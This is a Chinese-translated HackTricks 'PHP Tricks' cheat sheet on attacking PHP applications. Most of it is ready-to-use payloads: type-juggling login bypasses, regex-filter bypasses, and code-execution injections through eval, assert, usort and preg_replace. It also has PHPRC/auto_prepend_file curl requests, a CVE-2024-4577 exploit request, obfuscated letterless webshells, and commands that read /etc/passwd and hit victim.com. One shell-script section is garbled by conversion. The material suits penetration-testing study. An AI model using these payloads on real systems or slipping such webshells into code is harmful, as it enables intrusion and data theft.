PHP Tricks

Reading time: 23 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

Cookies common location:

这同样适用于 phpMyAdmin cookies。

Cookies:

PHPSESSID
phpMyAdmin

位置:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

绕过 PHP 比较

松散比较/类型转换 ( == )

如果在 PHP 中使用 ==,则会出现一些意想不到的情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 ===

PHP 比较表: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True 一个不以数字开头的字符串等于一个数字
  • "0xAAAA" == "43690" -> True 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同则结果为 True(字符串中的数字被解释为数字)
  • "0e3264578" == 0 --> True 一个以 "0e" 开头并后跟任何内容的字符串将等于 0
  • "0X3264578" == 0X --> True 一个以 "0" 开头并后跟任何字母(X 可以是任何字母)和后跟任何内容的字符串将等于 0
  • "0e12334" == "0" --> True 这非常有趣,因为在某些情况下,你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 已经哈希的字符串https://github.com/spaze/hashes
  • "X" == 0 --> True 字符串中的任何字母等于 int 0

更多信息请参见 https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

类型转换 也默认影响 in_array() 函数(你需要将第三个参数设置为 true 以进行严格比较):

php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

如果此函数用于 任何身份验证检查(例如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是字符串作为密码的值(https://example.com/login.php/?username=admin&password[]=),从而绕过此检查:

php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

同样的错误发生在 strcasecmp()

严格类型转换

即使使用了 ===,也可能会出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象:

php
(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() 可以用来 验证用户输入(它 检查 是否有任何 单词/正则表达式黑名单出现在 用户输入中,如果没有,代码可以继续执行)。

New line bypass

然而,当限定正则表达式的开始时,preg_match() 只检查用户输入的第一行,因此如果你能够以 多行 发送输入,你可能能够绕过这个检查。示例:

php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

要绕过此检查,您可以发送带有换行符的 URL 编码值%0A),或者如果您可以发送JSON 数据,则将其分成多行

php
{
"cmd": "cat /etc/passwd"
}

找到一个示例在这里: https://ramadistra.dev/fbctf-2019-rceservice

长度错误绕过

(这个绕过显然是在 PHP 5.2.5 上尝试的,我无法在 PHP 7.3.15 上使其工作)
如果你可以发送一个有效的非常 大的输入preg_match(),它 将无法处理它,你将能够 绕过 检查。例如,如果它正在黑名单一个 JSON,你可以发送:

bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

从: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS 绕过

技巧来源于: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223https://mizu.re/post/pong

简而言之,问题发生是因为 PHP 中的 preg_* 函数基于 PCRE 库。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 默认为 100,000,这超过了栈的容量。

这个 Stackoverflow 线程 也在帖子中被链接,深入讨论了这个问题。我们的任务现在很明确:
发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV,使得 preg_match() 函数返回 false,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个类似 {system(<verybadcommand>)} 的惊喜以获取 SSTI --> RCE --> flag :)

好吧,从正则表达式的角度来看,我们实际上并不是在进行 100k 次“递归”,而是在计算“回溯步骤”,正如 PHP 文档 所述,它在 pcre.backtrack_limit 变量中默认为 1_000_000(1M)。
要达到这个,'X'*500_001 将导致 100 万个回溯步骤(50万向前和50万向后):

python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

PHP混淆的类型转换

php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

如果 PHP 正在重定向到另一个页面,但在设置头部 Location 之后没有调用 dieexit 函数,PHP 将继续执行并将数据附加到主体:

php
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

路径遍历和文件包含漏洞利用

检查:

File Inclusion/Path traversal

更多技巧

  • register_globals: 在 PHP < 4.1.1.1 或者如果配置错误,register_globals 可能是激活的(或者其行为被模拟)。这意味着在全局变量如 $_GET 中,如果它们有值,例如 $_GET["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量**。
  • 同一域的 PHPSESSION cookies 存储在同一位置,因此如果在一个域中 不同路径使用不同的 cookies,你可以使该路径 访问该路径的 cookie,设置其他路径 cookie 的值。
    这样,如果 两个路径访问同名变量,你可以使 路径1中的该变量的值应用于路径2。然后路径2将视路径1的变量为有效(通过给 cookie 赋予在路径2中对应的名称)。
  • 当你拥有机器用户的 用户名 时。检查地址: /~<USERNAME> 以查看 php 目录是否被激活。
  • 使用 php 包装器的 LFI 和 RCE

password_hash/password_verify

这些函数通常在 PHP 中用于 从密码生成哈希检查 密码是否与哈希匹配。
支持的算法有:PASSWORD_DEFAULTPASSWORD_BCRYPT(以 $2y$ 开头)。请注意,PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。 目前,PASSWORD_BCRYPT 在输入上有 72字节的大小限制。因此,当你尝试用此算法对大于 72 字节的内容进行哈希时,仅会使用前 72B:

php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers bypass abusing PHP errors

Causing error after setting headers

这个推特线程 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时,PHOP 不会在响应中设置头部。

这允许绕过例如在代码中设置的 CSP 头部:

php
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

在设置头部之前填充主体

如果一个 PHP 页面正在打印错误并回显用户提供的一些输入,用户可以使 PHP 服务器打印出一些 足够长的内容,以至于当它尝试 将头部添加 到响应中时,服务器会抛出错误。
在以下场景中,攻击者使服务器抛出了一些大错误,正如您在屏幕上看到的,当 PHP 尝试 修改头部信息时,它无法(例如 CSP 头部没有发送给用户):

PHP 函数中的 SSRF

查看页面:

PHP SSRF

代码执行

system("ls");
`ls`;
shell_exec("ls");

查看此处以获取更多有用的 PHP 函数

通过 preg_replace() 进行 RCE

php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

要在“replace”参数中执行代码,至少需要一个匹配。
此preg_replace选项在PHP 5.5.0中已被弃用

通过Eval()进行RCE

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

通过 Assert() 实现 RCE

此函数在 php 中允许您 执行以字符串形式编写的代码返回 true 或 false(并根据此改变执行)。通常用户变量会插入到字符串中间。例如:
assert("strpos($_GET['page']),'..') === false") --> 在这种情况下,要获得 RCE,您可以这样做:

?page=a','NeVeR') === false and system('ls') and strpos('a

您需要破坏代码语法添加您的有效载荷,然后再修复它。您可以使用逻辑运算,例如“and"或"%26%26"或"|"。请注意,“or”,“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样,“;”也不起作用,因为我们的有效载荷不会被执行。

另一个选项是将命令的执行添加到字符串中:'.highlight_file('.passwd').'

另一个选项(如果您有内部代码)是修改某个变量以改变执行:$file = "hola"

通过 usort() 进行 RCE

此函数用于使用特定函数对项目数组进行排序。
要滥用此函数:

php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
php
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

您还可以使用 // 注释代码的其余部分。

要发现您需要关闭的括号数量:

  • ?order=id;}//:我们收到一条错误消息(Parse error: syntax error, unexpected ';')。我们可能缺少一个或多个括号。
  • ?order=id);}//:我们收到一个 警告。这似乎是正确的。
  • ?order=id));}//:我们收到一条错误消息(Parse error: syntax error, unexpected ')' i)。我们可能有太多的闭合括号。

通过 .httaccess 实现 RCE

如果您可以 上传 一个 .htaccess 文件,那么您可以 配置 多个内容,甚至执行代码(配置带有 .htaccess 扩展名的文件可以被 执行)。

不同的 .htaccess shell 可以在 这里 找到。

通过环境变量实现 RCE

如果您发现一个漏洞,允许您 修改 PHP 中的环境变量(还有另一个漏洞可以上传文件,尽管经过更多研究可能可以绕过),您可以利用这种行为来获得 RCE

  • LD_PRELOAD:此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
  • PHPRC:指示 PHP 在哪里查找其配置文件,通常称为 php.ini。如果您可以上传自己的配置文件,则使用 PHPRC 指向它。添加一个 auto_prepend_file 条目,指定第二个上传的文件。这个第二个文件包含正常的 PHP 代码,然后由 PHP 运行时在任何其他代码之前执行
  1. 上传一个包含我们的 shellcode 的 PHP 文件
  2. 上传第二个文件,包含一个 auto_prepend_file 指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
  3. PHPRC 变量设置为我们在步骤 2 中上传的文件。
  • 获取更多关于如何执行此链的信息 来自原始报告
  • PHPRC - 另一个选项
  • 如果您 无法上传文件,您可以在 FreeBSD 中使用 "file" /dev/fd/0,它包含 stdin,即发送到 stdin 的请求 主体
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • 或者要获得 RCE,启用 allow_url_include 并预先添加一个包含 base64 PHP 代码 的文件:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • 技术 来自此报告

XAMPP CGI RCE - CVE-2024-4577

Web 服务器解析 HTTP 请求并将其传递给执行请求的 PHP 脚本,例如 http://host/cgi.php?foo=bar,作为 php.exe cgi.php foo=bar,这允许参数注入。这将允许注入以下参数以从主体加载 PHP 代码:

jsx
-d allow_url_include=1 -d auto_prepend_file=php://input

此外,由于后续的 PHP 规范化,可以使用 0xAD 字符注入 "-" 参数。检查来自 this post 的漏洞示例:

jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

在这篇文章中 可以找到生成脑残 PHP 代码的好主意,允许的字符非常少。
此外,还提出了一种有趣的方法来执行函数,使他们能够绕过多个检查:

php
(1)->{system($_GET[chr(97)])}

PHP 静态分析

查看您是否可以在对这些函数的调用中插入代码(来自 这里):

php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

如果您正在调试 PHP 应用程序,可以在 /etc/php5/apache2/php.ini 中全局启用错误打印,添加 display_errors = On 并重启 apache: sudo systemctl restart apache2

反混淆 PHP 代码

您可以使用 web www.unphp.net 来反混淆 php 代码。

PHP 包装器和协议

PHP 包装器和协议可能允许您 绕过系统中的读写保护 并危害系统。有关 更多信息,请查看此页面

Xdebug 未经身份验证的 RCE

如果您在 phpconfig() 输出中看到 Xdebug启用,您应该尝试通过 https://github.com/nqxcode/xdebug-exploit 获取 RCE。

变量变量

php
$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE 利用新的 $_GET["a"]($_GET["b")

如果在一个页面中你可以创建一个任意类的新对象,你可能能够获得 RCE,查看以下页面以了解如何:

PHP - RCE abusing object creation: new $_GET"a"

无字母执行 PHP

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

使用八进制

php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR 简易 Shell 代码

根据 这篇文章 以下方式可以生成一个简易的 Shellcode:

php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

所以,如果你可以 在没有数字和字母的情况下执行任意 PHP,你可以发送如下请求,利用该有效载荷执行任意 PHP:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

对于更深入的解释,请查看 https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (inside eval)

bash
#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

类似 Perl

php
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks